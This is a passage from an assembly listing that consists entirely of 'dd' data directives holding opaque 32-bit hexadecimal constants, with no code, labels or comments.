		dd 0D80EBFC4h, 0D0DFBBD0h, 0E2AE6ABBh, 0B3332E5Ah, 0D2A5F38Ah
		dd 0D68AD04Ch, 0B6D932E2h, 98292E87h, 4CCAFC07h, 7F392D1Dh
		dd 651CFEC6h, 4C0641B6h, 0E6D8504h, 417B8EAAh, 54609950h
		dd 0DB536199h, 173FDCD6h, 6BD3ED43h, 38AA12AFh,	0E955ECE3h
		dd 0F7336311h, 0E958A0A1h, 7657F951h, 0B631186Ch, 0F09C88BEh
		dd 548EFE43h, 809735E8h, 48BA2342h, 988D8EA1h, 9DDCF9D2h
		dd 0FA0823EFh, 80A2254Fh, 0BA47A972h, 83DE03F3h, 0FB738033h
		dd 0FFA0A22Eh, 0D0280CAh, 3BE6ABD8h, 48FF303Fh,	964DA30h
		dd 45DFA0AFh, 296A1518h, 0F94EF419h, 0D0654F3h,	0A80F90E6h
		dd 68524210h, 8D5E8045h, 1A88FD85h, 0B1DCD701h,	0B45DA68Bh
		dd 0C657632Bh, 9C655783h, 1E405428h, 7AE91501h,	0AC45CAFEh
		dd 78DDEC90h, 510388Ah,	9986CA41h, 28FF1AFDh, 0B2A851D2h
		dd 3FE91AC7h, 3361CC5Ch, 9872FB01h, 3BF754FAh, 0E34A620Eh
		dd 9874E77Ah, 0E2669EFDh, 54548F6h, 0AF9A17E5h,	0C8BB3717h
		dd 2986047Eh, 388CEDAFh, 61B3F5E3h, 61AD18CAh, 0B530048Ah
		dd 0AF4875ABh, 0BDF09EFh, 6011B284h, 82A6CCDAh,	8FA82841h
		dd 20EC1C00h, 37DACC39h, 4D31CAEFh, 59D0E998h, 57C1B014h
		dd 775669C5h, 7E951A15h, 85A8D4FAh, 1985D338h, 3FBE6532h
		dd 0C2D649C7h, 70DA957Dh, 68539032h, 908F114Ch,	0B6862A8h
		dd 6616BE23h, 85A55C8Eh
		dd 96D453F0h, 67A72C06h, 5A2E032Ch, 0B623E50Bh,	7BF87E90h
		dd 173F5B51h, 0D1AE85B9h, 0FE42A85Bh, 855008BDh, 5CD1E28Bh
		dd 1F50B923h, 7D1F31A1h, 73077553h, 4DAD2E8Bh, 915D2D6Bh
		dd 68E208F2h, 51136045h, 9A47D42Ah, 671FFA70h, 26715772h
		dd 5D269C4Bh, 88B12B8h,	294CA52Ch, 59B8BBDEh, 263388Fh
		dd 8D3DE087h, 2B535256h, 0F1643B0Eh, 7FF1EDE0h,	0CEC25DF4h
		dd 0DC65F543h, 0A775D394h, 44A8DD04h, 593EB1C0h, 0D480223Dh
		dd 337CA9EDh, 41874A88h, 3027BA8Ch, 0B960DD8Fh,	81926020h
		dd 30494D21h, 0B74CC189h, 5789B6C6h, 0EFAA1F02h, 0EF50276h
		dd 0C4427C7Ch, 6200B2D9h, 0E05ED0Eh, 3561D3Fh, 0F83E6011h
		dd 9F492C0Ah, 0DBFA8905h, 5607A250h, 66113198h,	0A3795C86h
		dd 0B6DEC92Dh, 86F3DC40h, 65B006FFh, 0ECF8FC3Ch, 5D744F36h
		dd 897415B6h, 0A9D4955Dh, 52F7B7C8h, 0BD3ACBB4h, 0E1A7232Eh
		dd 3C54E917h, 0E47A9C06h, 6918DA23h, 0AA49929Eh, 0E0209FA9h
		dd 9FD4968Ch, 136AAEB8h, 0FF5F4523h, 7CBB034Bh,	71564A25h
		dd 0E978746h, 47662878h, 25F25644h, 4F314D9Ah, 0D63243E1h
		dd 0A65D08E5h, 25B0EC50h, 168A6D67h, 6DF4279Fh,	1F533E1Dh
		dd 2580580Dh, 5491C02h,	5768201Eh, 1C44C671h, 0F6DDBE90h
		dd 0C2BE01A7h, 0EBD35A50h, 0D67F3FB6h, 0A581C620h, 0D3B16DD5h
		dd 0A8254E27h, 0B2D4D7B9h, 2ECF8FF8h, 1857007Bh, 5A488E4Dh
		dd 0CCF9C67Ch, 9489C41Ah, 0FD81D304h, 6D1C0069h, 0F6246F86h
		dd 713B0327h, 0FC754926h, 229ED8C3h, 9ABD169Ah,	0EFD08E01h
		dd 40FF9938h, 3C8C0C2Eh, 51692C45h, 0E0617DC7h,	8B4AE229h
		dd 0E23CFE3Ah, 6351114Eh, 6267539h, 4F60A950h, 119419C4h
		dd 0FF1219C9h, 33F23DAAh, 0B11BF340h, 73C4031Ch, 30C3C006h
		dd 19756EE2h, 9C2E5A21h, 8B23A7FEh, 72E9FA1Ah, 0E6706114h
		dd 0BD7677Eh, 15B4D234h, 0CFC753B5h, 0A9107F32h, 4B84AF2Eh
		dd 49BDD120h, 3F332AFAh, 4276F0CBh, 0B2AE2B31h,	0EA803E08h
		dd 0D5F623E2h, 0E9368A44h, 287A12E1h, 4AEEABBDh, 3482FC40h
		dd 927592B9h, 0EE67AA33h, 155C7E98h, 148CE91Fh,	274121ADh
		dd 0D72CFB76h, 61348925h, 5DEFE5DFh, 88DB7000h,	160CD63Ch
		dd 974035FFh, 99406D05h, 0D7E14034h, 444162F3h,	984A5DF6h
		dd 0CFD030B8h, 0A75ED128h, 7D46577Dh, 0B45D5573h, 5D780F4Bh
		dd 4E14A176h, 6036CD4Ch, 80567AB1h, 399FCBA3h, 0DFF93060h
		dd 4EE8A7FCh, 4576BB42h, 50FE6D97h, 12AF3A52h, 1CEBF612h
		dd 3EAF6B54h, 69D546C3h, 9462A157h, 2B0A7732h, 0B3256C3Dh
		dd 32285757h, 192FFD69h, 0D18D430h, 57938A83h, 0AEEB904Fh
		dd 0A20B055Eh, 0DA382FBh, 0AFC38ABFh, 0C41609A2h, 0A66172BEh
		dd 0AC5DB145h, 0FA11846Dh, 652B7804h, 5AEA5D4Bh, 0A28CDA2Ch
		dd 777AD418h, 3088AFA3h, 34508372h, 99CD61F5h, 3633C2FBh
		dd 342A68CEh, 0A9037F11h, 97DC2541h, 0EC296E95h, 9126F159h
		dd 0C24A6BB9h, 0CCBE134Ah, 0AE756600h, 574DD922h, 0BFA22541h
		dd 4F6AEA70h, 94CFDE98h, 9758E51Dh, 0E8F3B0DFh,	6C3FCBDFh
		dd 0B68CBB82h, 2A43262Dh, 16AD4318h, 3180F8E1h,	6816DD31h
		dd 0AC9A4748h, 768BC7B1h, 3A2A7AEEh, 49DA312h, 491FB840h
		dd 2BC23ED0h, 0D160BFDDh, 995474AEh, 0D4504D4Eh, 22B4E50Eh
		dd 230954ACh, 4CAE6137h, 0A308FD58h, 4702E093h,	8E8AAD58h
		dd 584D6700h, 0F9580AA9h, 8F92308h, 23084D23h, 4D2D584Dh
		dd 0AFB0F958h, 57DE15C0h, 0D8592791h, 63E83049h, 45AADD11h
		dd 5DD1AB1Fh, 3A4488ABh, 9C116A82h, 0FAD0934Bh,	0CC530F5Dh
		dd 44AAFD64h, 8CA5A972h, 4496DA29h, 0A3D2ED76h,	0FDE03980h
		dd 0A72AAE2Bh, 0F7AF1449h, 0ACC5D781h, 0B21E810Eh, 0C35649AEh
		dd 95FC3EE4h, 17ACA515h, 223B95E8h, 0D445F2A4h,	457FB6A7h
		dd 7DD07C63h, 9016AA9h,	56D17573h, 0AFA34702h, 392BB4CFh
		dd 0EDA13F4Fh, 9FFCEB42h, 4A809A7Ah, 75D070C2h,	0FCFC4964h
		dd 266D16F4h, 71F7F5FCh, 8B4D7567h, 0EA569B28h,	0F44540A9h
		dd 0F4984C51h, 0DF363A19h, 356D4F95h, 8A14117Dh, 984D479Dh
		dd 0AC115C61h, 0A3BC46FBh, 2198F75Dh, 0AB17B5F0h, 0C37A3DC2h
		dd 0F83ACEF9h, 75C508CCh, 89AA7010h, 501E33F9h,	446B714h
		dd 7E7B7FFBh, 198698ABh, 0DA680471h, 601313B9h,	9F028F18h
		dd 84E98001h, 321F3461h, 0C1A1E0EDh, 0A4C3C12Dh, 0BE83679Ah
		dd 0B57E455h, 90240890h, 0ED18592Dh, 0FD12AEEh,	0B74DEBE0h
		dd 0AA06700Bh, 0B2984570h, 0A62372BDh, 9A0778DFh, 8C5885A2h
		dd 0A43F4C02h, 7D6FE6B2h, 0F673098Fh, 0F91EC4AEh, 4273CBE7h
		dd 66B989B0h, 3C09D8F0h, 99A0D283h, 119C9DDBh, 0CBCF677Fh
		dd 0B5A0FBB8h, 0F0B8980Eh, 8CC98E81h, 9E04A2EBh, 24239324h
		dd 468BE42Bh, 997C65EEh, 63B15A00h, 0FAF04A79h,	7A032CB6h
		dd 9AC1960Fh, 0E659504Bh, 95BF1BF5h, 9221EF64h,	3BC14806h
		dd 0D054D0DAh, 0ED1FAC89h, 49B499C5h, 0E81BC529h, 8D9EFEAEh
		dd 51657A3Dh, 3FAAAB53h, 225FF6Ch, 157D4C6h, 0D8C26A63h
		dd 0C69507D1h, 0D74F7ABDh, 7011D9EDh, 0AB81F227h, 12BB7F02h
		dd 16BEDE82h, 0BB3D3DB0h, 0BE0988B2h, 0BD41B016h, 0BBA160F4h
		dd 6C1B6AE3h, 0E3284A5Dh, 15D79FD4h, 9013B60Ch,	2275974h
		dd 15E5362Bh, 4E8251F4h, 0E606AAB4h, 82FFB88Fh,	70292815h
		dd 12F20FCAh, 0AD57073Ch, 1D5E85E5h, 0C760AD4h,	5740DA20h
		dd 886612B5h, 0D0D81A6h, 6B88B605h, 50D0E02Ch, 98A6D1B4h
		dd 0B79DCBBDh, 1DA08D8Dh, 982FB46Ah, 143C099Fh,	7BB83031h
		dd 0B401C13Ah, 0D5518D1Ch, 0ADBD33F2h, 0B63084E3h, 44E3259Dh
		dd 8B98E2EAh, 0C8B08BB2h, 0EBA0142Fh, 0A450A9Bh, 2BA821A8h
		dd 0E8D3428Fh, 0CB21F571h, 0D14A57E5h, 8E7969ACh, 0FEC8A3Bh
		dd 0B716D469h, 3EAC7914h, 57EF3F39h, 412CC934h,	87DE640h
		dd 10EE2266h, 4734EFAAh, 0E1F32443h, 33156091h,	60E7D921h
		dd 46E9345Bh, 6502A0E4h, 84A30D7Ah, 1C556D82h, 3207E098h
		dd 62676776h, 0C6091572h, 112F127Dh, 2B32CBD2h,	0BDB50B5Ah
		dd 0EA142116h, 6A2E8F1Ah, 79D1595Dh, 0EA2A6FD6h, 0EA2ACD02h
		dd 4DA02F7Bh, 0B1551655h, 0CDCEAC0h, 4A56B369h,	0C5832AD0h
		dd 0AC2B758h, 99420E12h, 4657B4FEh, 0CC4320B3h,	0E6A1D9E8h
		dd 443C677Ch, 0A40BF5D4h, 39917D11h, 846F3BD3h,	1DEC6BD2h
		dd 6291E26Ch, 0F0C98E5Ch, 8FC68B60h, 0E9B143F8h, 97FC9363h
		dd 0A873F455h, 855CED3Ch, 0BA63ACDCh, 5929A00h,	197121h
		dd 0D41A9759h, 0EBBB700Eh, 0A0488CFDh, 1F2930B1h, 0D1CE561h
		dd 0E47948B4h, 2847A423h, 0CFA48409h, 95B2612Bh, 0B0C6A0C0h
		dd 4ED109C3h, 36D93174h, 0AEF33CD0h, 0A70859BEh, 83F415DDh
		dd 98D5ACA0h, 4C9C8222h, 0B995F678h, 0AFA56842h, 13CCC6FAh
		dd 0F15545F6h, 6A36BABFh, 5C54F2E4h, 8B2BCABAh,	0CFE25FC0h
		dd 4CDE1C92h, 50345843h, 0D6A747ACh, 404D91Eh, 0FBD1C2B3h
		dd 0AB445780h, 3D550C00h, 0BC057C8Ch, 1E21BF29h, 0B0CF554h
		dd 5B917757h, 0FA8CFA9Fh, 3A630422h, 0C96094F6h, 0ADB972D1h
		dd 0BD56928Fh, 0CA33B70Fh, 0D4735475h, 2FB69F87h, 47752A7Eh
		dd 0A72B447Ah, 0E7DE8ADAh, 3F61BA0Bh, 0BACCB9BDh, 964E1F1Dh
		dd 0DECF5554h, 0D6EF5927h, 56C6AE44h, 0CF4538C1h, 682EBC2Eh
		dd 0A15C5BFFh, 43934EE9h, 2D1C8D1h, 769A0541h, 0B947042h
		dd 0D14B96CDh, 859247AEh
		dd 0E82B4591h, 0E26EE6F5h, 721E06CAh, 0E88E5511h, 0E72526Ch
		dd 34248A2h, 5451294Bh,	0A049407h, 2B45CCD7h, 490C0459h
		dd 10143187h, 0BE6847AAh, 0C274E883h, 0D2957288h, 4848823h
		dd 28FEC936h, 0D8137D86h, 89234A08h, 9928C610h,	22C4717h
		dd 43B104B2h, 0B489AEE6h, 2D9246AEh, 0A9388278h, 93AA0555h
		dd 1F7A0794h, 1E07F6F1h, 69018673h, 8F60B8E3h, 0D5AD33DAh
		dd 0A065F4A7h, 77E75366h, 0B34EF89Ch, 5EDF8BD6h, 61796318h
		dd 8D0CCC2Fh, 0C07F0FF2h, 0E06D2262h, 960683E8h, 4D2A6F32h
		dd 4F1A93Eh, 0B84567ADh, 343243C5h, 6E3817FAh, 0DCACF00h
		dd 4FF6C1B8h, 0BB0232DBh, 94E1D3E4h, 8F5259B4h,	594AD4Bh
		dd 0B93E8963h, 91E7771Bh, 908D7AE2h, 44316ECEh,	39140BFAh
		dd 6D1F7FE1h, 72A8F5C5h, 97B6852Ch, 96354935h, 22E0BB1h
		dd 61821E0Dh, 30070607h, 8A21CCEBh, 8128782Ah, 8B48A8C2h
		dd 0BA9A9D41h, 0BDBA21Bh, 0A33D050Ah, 69FD67CDh, 0A7BCE4D2h
		dd 0D1CB4401h, 1D2E8F51h, 0D97D87F1h, 0EA010613h, 0DE4E6750h
		dd 0C69990CBh, 0D3A502A6h, 0C8A44C27h, 8998FC7Bh, 8085C3FAh
		dd 14B5FE22h, 4C16E8B9h, 0B3DEFBA1h, 0A7BC3E88h, 368D4E05h
		dd 9B688D90h, 8EBA9C30h, 0EF233F89h, 0DE4404D9h, 5FCA02B3h
		dd 0D3DD21Ah, 17F75364h, 0FD3E4FEh, 0B47BBC9Fh,	0D11EABDFh
		dd 4359C934h, 3AFCF233h, 0BCFDEF27h, 0BD997F47h, 62A7EB96h
		dd 0BBAC660Bh, 81A8090Fh, 60688871h, 0F1BAF68Ah, 40B2A99Ah
		dd 26F41733h, 70510952h, 65BF9145h, 5AE3C142h, 7F6C0B97h
		dd 4CA4DE44h, 45146330h, 4E62A9D1h, 9D3A8501h, 3A21A46h
		dd 6653A674h, 60786BEAh, 9E20D70Ch, 369AC0E1h, 7DB00D5Ah
		dd 0E9BF064Dh, 484150D4h, 32536AEAh, 798A7DD2h,	900F1758h
		dd 0F30AA3Ah, 8AD6D50Fh, 4C8B4D34h, 26260717h, 2299B35Bh
		dd 9B1C55F9h, 0ED83EBA9h, 0E8ED2BA4h, 2AC50DFEh, 238A811Ah
		dd 26D734CCh, 0C0ACD4D8h, 99B36F43h, 5CBAC2ADh,	44559944h
		dd 3098C42Dh, 0FDD314AAh, 6DCAC833h, 7B181C45h,	0E5F78B78h
		dd 48FDA74Dh, 0D30934E9h, 0BA822200h, 0DA03988Bh, 7D2DD404h
		dd 446029D6h, 4FE8194Ch, 0C9C6E23Fh, 0C2798BF8h, 30781E28h
		dd 397A876Bh, 1B98C233h, 9D574A0h, 439848Ah, 30B0A28Ah
		dd 4145B5DBh, 0CF81C031h, 0B4619EECh, 0AE11F613h, 1A75C3BCh
		dd 3826A348h, 0A3E9ECCBh, 4230E609h, 9A28164Ch,	466B273Fh
		dd 0FE4308DFh, 0C2449445h, 0CA304034h, 0F4677D19h, 45106D59h
		dd 0BF7AA0FBh, 8A639024h, 521101Eh, 0CAC242A8h,	0D291015h
		dd 20459116h, 17C280B2h, 799795DAh, 50796C97h, 0D4CC4F1Dh
		dd 0C46E5F19h, 72F56767h, 1B881D5Fh, 0D37A4E11h, 63701B3h
		dd 0C084FD8Bh, 0E3E4C86Bh, 25005585h, 0C7A3602h, 4D98F8F9h
		dd 90C489F8h, 8F901E8Fh, 9B16642Bh, 5C1AC787h, 332D036Ch
		dd 0F69BF5Ch, 0C1D16467h, 0F86A2553h, 0E5C7C510h, 430926DDh
		dd 157639AEh, 13D8B9B5h, 24F20F0Eh, 0FED00D0Ch,	195D5579h
		dd 155D0F21h, 85B8C6E5h, 0EAC94599h, 0D33B03CAh, 1BF0F45Fh
		dd 900644D6h, 0AB5A3134h, 20972054h, 4EFC2E8Ah,	8C18276Ch
		dd 8CBE8B26h, 14E2028h,	0FF11C6BEh, 0CCCBA130h,	31347A3Fh
		dd 9D867464h, 230075DBh, 3BF2930Ch, 0B907D85Eh,	975A0284h
		dd 11421B7Ah, 2AF6B06h,	58C31867h, 4130197Ah, 0C04A050Ah
		dd 0AE682A0Eh, 0A45D65C8h, 7181065Dh, 0EBB4839Eh, 989BB603h
		dd 5698B065h, 9839D304h, 41562687h, 98E6E28Ah, 0D0B63B4Ch
		dd 5BC30BB8h, 93A3B951h, 84B59B56h, 0AC28585Ch,	0EFD24D67h
		dd 2BF97B08h, 7F3B870Ah, 0D298FBC5h, 0BB0048A4h, 29032A5Eh
		dd 7810A120h, 223B9BFh,	4490238Eh, 0DA40BBD9h, 0EBEC0A71h
		dd 0FA8942FAh, 929F1B53h, 0B7594B60h, 0DEBDE425h, 0FC7CCB0Fh
		dd 0EEBF5FE4h, 46972DD1h, 605B3071h, 82868ECEh,	0F5A707Eh
		dd 12E7FF9Fh, 0A8C9AE58h, 0E1396F6Ch, 0E525C687h, 50D20FB2h
		dd 4600DC7h, 21E0600Fh,	679A0D44h, 0D445F02Ah, 74E5498Dh
		dd 9A6A1C69h, 5631B1A1h, 62AE03BDh, 2DC53982h, 41005756h
		dd 0C3D4A68Ch, 0A6079248h, 0CDC68A06h, 4A66F8A8h, 0A8D419A1h
		dd 0A31A2BF8h, 93BA9A5Ah, 1D2311B1h, 64313406h,	0B07303DCh
		dd 922924C0h, 5B3900D9h, 0D5B90C6Dh, 7B181E66h,	21603159h
		dd 622E862Ah, 46EA1E6Dh, 0C8BCB9BFh, 0E72A62EAh, 94DD2539h
		dd 0B94EFD8Ch, 34B2B2D6h, 25A24E60h, 3D564663h,	3160E0A8h
		dd 85290E0Eh, 0C80C7680h, 8AADDEEAh, 12C25BA7h,	72711152h
		dd 0E9765BD7h, 7B0B52B2h, 54EFA097h, 32890454h,	8525A29Bh
		dd 5839016Eh, 0C901BAD1h, 0D949E602h, 440E3C2Dh, 0C4E50AB8h
		dd 3E54A542h, 0B4EF640Bh, 57C854E3h, 254E0A09h,	4EB23B1Dh
		dd 0F448004h, 27F32D9Ah, 0B719130Ch, 0A363A2C9h, 25D04574h
		dd 177CFE77h, 0E180185Dh, 0DEAE8226h, 0A132E5E3h, 7D39F1C3h
		dd 0F37975DBh, 54F2B584h, 279EEE52h, 0C96FDC7h,	14B0A470h
		dd 869CED02h, 0E6806D37h, 1880D3F5h, 34B3B465h,	2CF2F5D2h
		dd 0F40F8518h, 21ECFBCCh, 0DF98E22h, 5E822774h,	0C06A08D8h
		dd 0CAA84A06h, 94E7AFCh, 56C12666h, 4BAD48F3h, 9143520h
		dd 2639F1C6h, 0BE540554h, 0A3948260h, 7B9A183Eh, 0E970C6B8h
		dd 394C80CAh, 6ACA9848h, 403E5183h, 3E02A81Bh, 82D58184h
		dd 2403C0D1h, 199B0D5Fh, 0EF35470h, 0C6AD2D1Fh,	4289CCF1h
		dd 4D0365F3h, 1FE3B857h, 3DCB8C9Ch, 0C349A25Bh,	358B96Bh
		dd 4347839Eh, 0E50839E3h, 4825CEECh, 75C3B530h,	4F8F3446h
		dd 0A80AE630h, 0D2383755h, 0B595BD4Dh, 0BDB7C36Dh, 0C1CF955Ch
		dd 5DF8AE30h, 7C5F9B8Dh, 0C583FEB5h, 34DA6326h,	5644F2B1h
		dd 0EA307B9Dh, 77A02874h, 6570F60h, 359D3580h, 196DF32Eh
		dd 0D490B70Dh, 0BBAA36Eh, 66ABDD63h, 920B38D1h,	65D505DEh
		dd 1B617B15h, 71A0AAD9h, 2388AA87h, 4259358Ah, 0DF73C243h
		dd 0BE5A836Bh, 257849E3h, 2CBFB144h, 0DC5DB660h, 28EFB5DAh
		dd 0C071FDE9h, 615CFBF0h, 0A2E049A4h, 3E240D35h, 2AFEFBCAh
		dd 4D1DAAB1h, 82B33EA7h, 0C04AF3E7h, 0D25F175Fh, 3C7F2BB5h
		dd 77D6C0ABh, 3B613D7Dh, 0F5CE52ABh, 380D4524h,	494D1808h
		dd 2EE10501h, 1738EBF2h, 0B67C47C3h, 1409A81Ah,	0EAA0C063h
		dd 0BD7D58A5h, 7FA84829h, 2D6BE7DCh, 15CDAAB3h,	0B5EEE948h
		dd 0CEC854F0h, 0AA929624h, 9AABD9F5h, 996883C2h, 0AABB29Dh
		dd 0F3EBDF83h, 5F453988h, 0E0815638h, 3E636B83h, 8FB52AE9h
		dd 0ABDABFF6h, 2252EE8Eh, 60891703h, 4FFE8AC7h,	7D6998AAh
		dd 290C15C8h, 387ABA62h, 56813DC6h, 5E0B4113h, 7F2023B3h
		dd 6050831Bh, 0E48DC8E0h, 63518D4h, 0C8A11663h,	31CA998h
		dd 0EF1CB7D5h, 61544AF3h, 0B39F1A43h, 0A0EAC035h, 6FA671E8h
		dd 8D8832B1h, 0F25329B7h, 33FE80BEh, 986298D5h,	8C8BC194h
		dd 75901969h, 0F4865221h, 78AC3EB3h, 0CC384058h, 58503D37h
		dd 3C1F413Ah, 784C6661h, 31AFC88Ah, 84F1C2CCh, 0A9BDD204h
		dd 31A115A3h, 1977EBAFh, 0C44E833h, 2BCC19E2h, 4BCBFD84h
		dd 0ED597451h, 61B35EEBh, 7C9567D4h, 0D4E5B2C5h, 9E7622CDh
		dd 8E509660h, 96BBDD94h, 0C6CE45F7h, 756AE665h,	8BA8866Ah
		dd 6063BE36h, 0EC8B59D3h, 2B0BD597h, 0EA13041h,	0ACD3A139h
		dd 0B8AA44F5h, 50364C13h, 2B5831B0h, 4B83B544h,	40A5A847h
		dd 0CBF9882Bh, 79365D7Eh
		dd 0E8C29617h, 0D852A4CCh, 0F60F62A1h, 0B940F748h, 6FFEF361h
		dd 531CCB7Ah, 58AC1237h, 16116C3h, 5A314877h, 0EF2F2E01h
		dd 1AECAEE2h, 9A815464h, 0FCC8691Eh, 0B269B62Fh, 701B50E6h
		dd 0F132AA81h, 8B464416h, 90FC156Ah, 5D949721h,	0C5116E5Dh
		dd 0DDAFF9FCh, 3991964Ch, 0FE40FC0Fh, 4CC815FBh, 6A390BBh
		dd 90E82156h, 0A091EF35h, 3A1A564Ah, 0F6E31616h, 8619E83Eh
		dd 0C021265Ch, 383E0FBDh, 1B928C24h, 47182813h,	0DA265C2h
		dd 0AFBC2441h, 3A908DE9h, 8CDB665Bh, 5D191471h,	24D8CA8h
		dd 0D334F1FDh, 7C46196Dh, 2A9C7AFDh, 0BBC56CABh, 0D8C1452Fh
		dd 0D7247733h, 54A3872Fh, 115D515Eh, 8F70AA03h,	0EC0B441Bh
		dd 65DFD19Eh, 3436C680h, 52900FFBh, 94BBBE9Ch, 3813CC9Ch
		dd 0E5A97327h, 37F6648h, 0F81A77C7h, 25F7EAAh, 0A6F5C089h
		dd 11185EC5h, 0EA6F21F7h, 7E9B04CBh, 9428E62Bh,	0A3035D7h
		dd 0CE3F7290h, 4429C65Eh, 0D0575628h, 0ACB3C153h, 1F9F15D0h
		dd 40CEC19Ah, 26E4E80Ah, 0EFE450B4h, 0D8F0CEB7h, 0E64DAC60h
		dd 4D25DFB4h, 3AF72B30h, 0EB6C48E3h, 813D18ADh,	191D25Fh
		dd 8133C723h, 357C97B3h, 1594B9C0h, 660DF78h, 976A7526h
		dd 20960AE1h, 5C88A4CAh, 17410EC0h, 0B5B20FC5h,	0B842573Ah
		dd 0C6C1880Eh, 0BA0234E0h, 1827382Bh, 0E1A0E3ACh, 260C685Ch
		dd 88705F14h, 8E436610h, 92767D06h, 26B07D2h, 3FC406A3h
		dd 826500Ah, 9D3927FEh,	0D903B5D5h, 50716855h, 0EFDD185h
		dd 3851502Bh, 0E1A35186h, 1C14A2CAh, 82B5BF0Ah,	6660F4A1h
		dd 7E68AA9Ah, 78DFB728h, 0CB38C369h, 90BA357Bh,	5C6EDB84h
		dd 2E534296h, 5D670A50h, 6BAC5184h, 873C7417h, 61C9779h
		dd 0A160E14h, 3D7C8DE6h, 0E30D85E5h, 5CB05642h,	220C9E50h
		dd 2E053250h, 3FB6D448h, 0A1A4036h, 47000123h, 2D53F38Ch
		dd 7099B063h, 8B9FAC3h,	0D6A4BA29h, 532DCD95h, 7998CBE6h
		dd 3AD52A15h, 45824C61h, 11FD3826h, 7E1FB309h, 0A5F1B6A0h
		dd 5AA12277h, 0AD0E61D7h, 0B85D013Eh, 31498074h, 0CEA7189Fh
		dd 54DA5A20h, 48D0219h,	2B284C1Eh, 83C7FF3Ch, 0ED23D948h
		dd 0B9D96594h, 0D7B48E5Ch, 0ABD59776h, 0BB8C1302h, 18116943h
		dd 324C169Ah, 0B06FF6Ah, 2390196Ah, 0AC8E9EDAh,	0E09C24F3h
		dd 41B616F5h, 0A2EC71E5h, 992A4D8Dh, 913C19B0h,	0CEB91AFAh
		dd 0BBB51F6h, 0E804FBBFh, 0DE1D33B3h, 1BABF0C5h, 0BF445F89h
		dd 0F0BE68EFh, 3F14C963h, 480D0C0Ch, 6AEB58D8h,	383EE349h
		dd 2697B667h, 0E0630838h, 55CF49Fh, 1B70E9EBh, 757D0259h
		dd 887CD0B8h, 6DF81136h, 7EFE12ABh, 5D03FE83h, 9A14FACh
		dd 1AE2A218h, 5809D784h, 0CF428A1Ah, 0F844A46Ch, 0F44BE1D5h
		dd 9049DC21h, 2307B770h, 134317C0h, 8E14444h, 60D1AF72h
		dd 480C21F0h, 0C44D235Dh, 84BD1D5Fh, 0E9E6E21Fh, 7445DCEDh
		dd 3AFDBC60h, 35F8134h,	7674C08Fh, 13350A51h, 0E7D52E70h
		dd 1374F0FBh, 264A1532h, 7A3BF6E2h, 9D0EB8D8h, 89ED33B1h
		dd 89D1642Dh, 8454C84Ch, 53DBA61Ah, 4B2BC868h, 0A2A69898h
		dd 9EDD46FEh, 0C66343ACh, 454C04CEh, 3DBA0169h,	0FFBD8C7Dh
		dd 2A64899Ah, 0EDD810D2h, 0D6D76A89h, 33A34CD8h, 44F6D13Ch
		dd 6FBACC89h, 4A2AEE26h, 0C9EDF5CCh, 91446477h,	0B454E04Ch
		dd 4F6F7216h, 4EE3C91Ah, 0A2A62266h, 9EDE98FEh,	0CFA94A78h
		dd 1D438C6Fh, 9153D543h, 4F6FBCE9h, 86112571h, 0A2A66264h
		dd 9B7CB4A4h, 0C5D44B4Ch, 0FC4A195Ch, 8F7DB33Dh, 0A415C525h
		dd 0A6DF99D0h, 317514F8h, 7C124657h, 0C9F00FDAh, 0A425A06Ch
		dd 274D19D0h, 0AE623B27h, 0D3E8BF0Ch, 0B55EED96h, 0A1489546h
		dd 4EB89333h, 1B2C7276h, 273D9B7Fh, 55C7C5D6h, 4DFDF84Bh
		dd 0F674DB7Ah, 3B27F9BFh, 6E222451h, 212F904Fh,	0A64F6576h
		dd 0DD84EB22h, 5289B29Eh, 4CA4CA9Ch, 0BD890245h, 36873D3Dh
		dd 994A981Fh, 7013B08Ah, 0BE9F227Bh, 0A45391Fh,	97849DBAh
		dd 267913B2h, 190AF6EAh, 0B27B9BEh, 0E3DF2A65h,	0A1D6B287h
		dd 0F86CD7A9h, 0FBA783CDh, 330FE856h, 9845B6F1h, 0B13D0DEAh
		dd 9ED84CACh, 0E22ABA09h, 9EDA568h, 82FA656Ch, 6961E44Ch
		dd 995D4392h, 6E1B6747h, 747E4A7Bh, 2A65A187h, 0EDCCFFE2h
		dd 0C0AD7BE9h, 54CB4CECh, 0DBC0F674h, 0A64A4513h, 0A65A998Ah
		dd 14998BA2h, 4641909Bh, 1CA18121h, 5FF4A28Bh, 9D964E7Fh
		dd 14995208h, 539B329Bh, 7ED86DBh, 0B369E096h, 765B71C3h
		dd 1499485Ah, 98B56E9Bh, 1CED86DAh, 88332456h, 2A6CB514h
		dd 283A4D4Fh, 0FBFC964h, 8432CA0Ah, 707866F6h, 3B2F71E5h
		dd 63E6A45Dh, 89EA1166h, 1153D132h, 47CEDF69h, 0A79F2F57h
		dd 0A2A60266h, 8F9CDEA5h, 852F5F06h, 454CC4CAh,	1F3B77F6h
		dd 0CB86BEC5h, 0BE660D98h, 751FF37Fh, 9C6B62B7h, 508A3C89h
		dd 1A3EF66Eh, 3F529989h, 0A9156C13h, 0F47C7D0Fh, 61663314h
		dd 0A22ADE26h, 0A8F91EFEh, 82C7662Fh, 4454C84Ch, 51F37110h
		dd 39E8CC6Ah, 0A2B7A899h, 3C091AECh, 0CF6FBD1Fh, 99989E5Ch
		dd 7B13CC8Ah, 3451DA3Eh, 0CCD20DDFh, 7099F454h,	6B3851F3h
		dd 99BA65ABh, 5CD88A9h,	17C8A6DFh, 437A5C66h, 14A70F65h
		dd 4193D449h, 0F582E88Ah, 3194B33Bh, 2731FB07h,	97FF4FC2h
		dd 68A49B19h, 0FA26CAA8h, 0E6322914h, 4473DF80h, 314889FCh
		dd 794D6A77h, 0F4E69E4h, 160A5A29h, 0C651CD4Ah,	9C46EC1Ch
		dd 0E7413E08h, 22917264h, 0D56D93FEh, 99C54ECh,	6ECA3D3Ch
		dd 0AD1A3ACDh, 13328A99h, 663D7A6Fh, 5D845CC8h,	3971533h
		dd 0FFFBF47Bh, 3370D2DEh, 0DA263915h, 0A570C4F4h, 9B9F746Bh
		dd 0E4CAA8A9h, 516FA7A1h, 0DE1D7DFBh, 899E454Ch, 0B3FC3D3Dh
		dd 0BDE20F34h, 4C8A8A99h, 68D17A19h, 9E9E50CAh,	0C465BE0h
		dd 454C44CDh, 3D38114Eh, 2BF5E48Dh, 8A990998h, 7A774FEEh
		dd 0BF29CB5Ah, 15331326h, 0F4DCD6F5h, 0FA5D9A04h, 2A67266Eh
		dd 0E9D47952h, 0F4F03A89h, 54CE4CC8h, 65C1DEB4h, 1043C1D3h
		dd 2B8218E9h, 0DB5827E0h, 27608655h, 37D8BFBh, 504A3D29h
